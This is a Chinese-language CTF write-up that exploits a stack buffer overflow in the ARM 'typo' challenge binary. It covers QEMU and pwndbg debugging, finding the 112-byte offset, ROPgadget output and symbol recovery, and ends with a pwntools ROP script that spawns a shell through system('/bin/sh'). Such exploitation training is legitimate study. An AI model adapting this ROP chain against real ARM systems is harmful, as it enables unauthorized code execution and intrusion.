文章目录
- ARM buffer overflow初探
- Basic
- Challenge
- 初步分析
- 利用方法
- 确定溢出位置
- 查找相关gadgets
- EXP
ARM buffer overflow初探
Basic
与x86架构类似,堆栈溢出利用也是基于控制流转移完成。但ARM架构下的寄存器、跳转指令和下一跳略有区别:
- 函数传递参数区别:
- ARM架构:r0~r3寄存器存储函数的1-4个参数,剩下的参数从右向左依次入栈,函数的返回值保存在r0中;
- x86 32位程序将函数参数存在在栈的函数返回地址上方
- x86-64将前6个参数存储在RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,剩下参数保存在栈中
- 跳转指令
- ARM架构中bx/bl/b指令可以实现跳转
- 下一条指令地址:
- ARM架构存在在pc寄存器中
- x86架构则是EIP寄存器
Challenge
题目下载链接:
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/arm/jarvisOJ_typo
初步分析
$ file typo typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped
ARM架构32位的程序 静态链接
$ checksec typo[*] '/home/mzgao/rop/bin/typo' Arch: arm-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8000)
什么保护都没开
QEMU运行程序,在第二次输入长字符串时crash,证明存在buffer overflow
$ qemu-arm typo Let's Do Some Typing Exercise~Press Enter to get start;Input ~ if you want to quit------Begin------explosiveaaaaaaaaaaaaaaaaaaaaaE.r.r.o.r.butteraaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaE.r.r.o.r.achievementaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaqemu: uncaught target signal 11 (Segmentation fault) - core dumped
利用方法
确定溢出位置
首先在一个terminal中运行type程序
qemu-arm -g 8888 ./typo
然后在另一个terminal中使用gdb调试,连接本地8888端口
使用cyclic 200 生成一个长度为200的随机字符串,然后c继续运行,
在qemu端输入200的字符串,gdb这端则可以计算crash的位置。
$ gdb-multiarchpwndbg> target remote localhost:8888Remote debugging using localhost:8888warning: No executable has been specified and target does not supportdetermining executable automatically. Try using the "file" command.0x00008b98 in ?? ()LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────── R0 0x0 R1 0xfffef5c1 ◂— ldmdbvc r4!, {r1, r2, r3, r5, r8, sb, sl, fp, sp} ^ /* 0x79742f2e; './typo' */ R2 0x0 R3 0x0 R4 0x0 R5 0x0 R6 0x0 R7 0x0 R8 0x0 R9 0x0 R10 0x8af6c —▸ 0xa1e94 —▸ 0x6ff44 —▸ 0x7b918 ◂— 0x43 /* 'C' */ R11 0x0 R12 0x0 SP 0xfffef490 ◂— 1 PC 0x8b98 ◂— mov fp, #0 /* 0xe3a0b000 */─────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────── ► 0x8b98 mov fp, #0 0x8b9c mov lr, #0 0x8ba0 pop {r1} 0x8ba4 mov r2, sp 0x8ba8 str r2, [sp, #-4]! 0x8bac str r0, [sp, #-4]! 0x8bb0 ldr ip, [pc, #0x10] 0x8bb4 str ip, [sp, #-4]! 0x8bb8 ldr r0, [pc, #0xc] 0x8bbc ldr r3, [pc, #0xc] 0x8bc0 bl #0x9ebc ──────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────00:0000│ sp 0xfffef490 ◂— 101:0004│ 0xfffef494 —▸ 0xfffef5c1 ◂— ldmdbvc r4!, {r1, r2, r3, r5, r8, sb, sl, fp, sp} ^ /* 0x79742f2e; './typo' */02:0008│ 0xfffef498 ◂— 003:000c│ 0xfffef49c —▸ 0xfffef5c8 ◂— strvc r3, [pc, #-0xd5f]! /* 0x752f3d5f; '_=/usr/bin/qemu-arm' */04:0010│ 0xfffef4a0 —▸ 0xfffef5dc ◂— subpl r4, r4, pc, asr #24 /* 0x50444c4f; 'OLDPWD=/home/mzgao/rop' */05:0014│ 0xfffef4a4 —▸ 0xfffef5f3 ◂— ldrbpl r4, [pc], #-0x34c /* 0x545f434c; 'LC_TIME=zh_CN.UTF-8' */06:0018│ 0xfffef4a8 —▸ 0xfffef607 ◂— cmppl r3, #76, #10 /* 0x5353454c; 'LESSOPEN=| /usr/bin/lesspipe %s' */07:001c│ 0xfffef4ac —▸ 0xfffef627 ◂— ldmdbmi pc, {r2, r3, r6, r8, sb, lr} ^ /* 0x495f434c; 'LC_IDENTIFICATION=zh_CN.UTF-8' */────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────── ► f 0 0x8b98─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────pwndbg> cyclic 200aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabpwndbg> cContinuing.Program received signal SIGSEGV, Segmentation fault.0x62616164 in ?? ()LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────── R0 0x0*R1 0xfffef294 ◂— 0x61616161 ('aaaa')*R2 0x7e R3 0x0*R4 0x62616162 ('baab') R5 0x0 R6 0x0 R7 0x0 R8 0x0*R9 0xa5ec ◂— push {r3, r4, r5, r6, r7, r8, sb, lr} /* 0xe92d43f8 */*R10 0xa68c ◂— push {r3, r4, r5, lr} /* 0xe92d4038 */*R11 0x62616163 ('caab') R12 0x0*SP 0xfffef308 ◂— rsbvs r6, r1, #0x40000019 /* 0x62616165; 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */*PC 0x62616164 ('daab')─────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────Invalid address 0x62616164──────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────00:0000│ sp 0xfffef308 ◂— rsbvs r6, r1, #0x40000019 /* 0x62616165; 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */01:0004│ 0xfffef30c ◂— rsbvs r6, r1, #0x80000019 /* 0x62616166; 'faabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */02:0008│ 0xfffef310 ◂— rsbvs r6, r1, #0xc0000019 /* 0x62616167; 'gaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */03:000c│ 0xfffef314 ◂— rsbvs r6, r1, #104, #2 /* 0x62616168; 'haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */04:0010│ 0xfffef318 ◂— rsbvs r6, r1, #0x4000001a /* 0x62616169; 'iaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */05:0014│ 0xfffef31c ◂— rsbvs r6, r1, #0x8000001a /* 0x6261616a; 'jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */06:0018│ 0xfffef320 ◂— rsbvs r6, r1, #0xc000001a /* 0x6261616b; 'kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */07:001c│ 0xfffef324 ◂— rsbvs r6, r1, #108, #2 /* 0x6261616c; 'laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n' */────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────── ► f 0 0x62616164─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────pwndbg> cyclic -l 0x62616164112
112个偏移位置
查找相关gadgets
$ ROPgadget --binary typo --only "pop"Gadgets information============================================================0x00008d1c : pop {fp, pc}0x00020904 : pop {r0, r4, pc}0x00068bec : pop {r1, pc}0x00008160 : pop {r3, pc}0x0000ab0c : pop {r3, r4, r5, pc}0x0000a958 : pop {r3, r4, r5, r6, r7, pc}0x00008a3c : pop {r3, r4, r5, r6, r7, r8, fp, pc}0x0000a678 : pop {r3, r4, r5, r6, r7, r8, sb, pc}0x00008520 : pop {r3, r4, r5, r6, r7, r8, sb, sl, fp, pc}0x00068c68 : pop {r3, r4, r5, r6, r7, r8, sl, pc}0x00014a70 : pop {r3, r4, r7, pc}0x00008de8 : pop {r4, fp, pc}0x000083b0 : pop {r4, pc}0x00008eec : pop {r4, r5, fp, pc}0x00009284 : pop {r4, r5, pc}0x000242e0 : pop {r4, r5, r6, fp, pc}0x000095b8 : pop {r4, r5, r6, pc}0x000212ec : pop {r4, r5, r6, r7, fp, pc}0x000082e8 : pop {r4, r5, r6, r7, pc}0x00043110 : pop {r4, r5, r6, r7, r8, fp, pc}0x00011648 : pop {r4, r5, r6, r7, r8, pc}0x00048e9c : pop {r4, r5, r6, r7, r8, sb, fp, pc}0x0000a5a0 : pop {r4, r5, r6, r7, r8, sb, pc}0x0000870c : pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}0x00011c24 : pop {r4, r5, r6, r7, r8, sb, sl, pc}0x000553cc : pop {r4, r5, r6, r7, r8, sl, pc}0x00023ed4 : pop {r4, r5, r7, pc}0x00023dbc : pop {r4, r7, pc}0x00014068 : pop {r7, pc}Unique gadgets found: 29
查找既能控制pc寄存器的,也能控制r0寄存器的gadgets即可
因此使用如下gadget
0x00020904 : pop {r0, r4, pc}
查找字符串位置
$ ROPgadget --binary typo --string "bin/sh"Strings information============================================================0x0006c385 : bin/sh
查找system函数位置
发现没有system函数位置,应该符号表被去除了,使用rizzo恢复符号表。
https://github.com/fireundubh/IDA7-Rizzo
Just copy rizzo.py into your IDA plugins directory.
将rizzo.py移动到ida的插件目录中
先用对相应架构的libc进行签名(File->Produce file->Rizzo signature file),然后在typo里读取签名(File->Load file->Rizzo signature file),即可恢复一部分
笔者是在服务器中随意找了个libc2.27.so
$ cp /usr/aarch64-linux-gnu/lib/libc-2.27.so ./
首先使用ida打开该libc,然后导出Rizzo符号表。
再打开typo,导入刚才导出的Rizzo符号表。
在没有恢复符号前,并没有system函数地址:
恢复符号后,即可看到system地址是0x000110B4:
EXP
此时栈内存如下:
from pwn import *import syspayload = 'a' * 112 + p32(0x00020904).decode("iso-8859-1") + p32(0x0006c384).decode('iso-8859-1') * 2 + p32(0x000110B4).decode('iso-8859-1')lrpayload = 'a' * 112 + p32(0x00014a70).decode('iso-8859-1') + p32(0x000096e0).decode('iso-8859-1') + 'aaaa'*2 + p32(0x00053004).decode('iso-8859-1') + 'aaaa' + p32(0x00020904).decode('iso-8859-1') + p32(0x0006c384).decode('iso-8859-1') *2 + p32(0x000110B4).decode('iso-8859-1')io = process('./typo')io.recv()io.sendline()io.sendline(payload)io.interactive()
其中lrpayload采用了一种更加复杂的跳转实现,栈结构如下: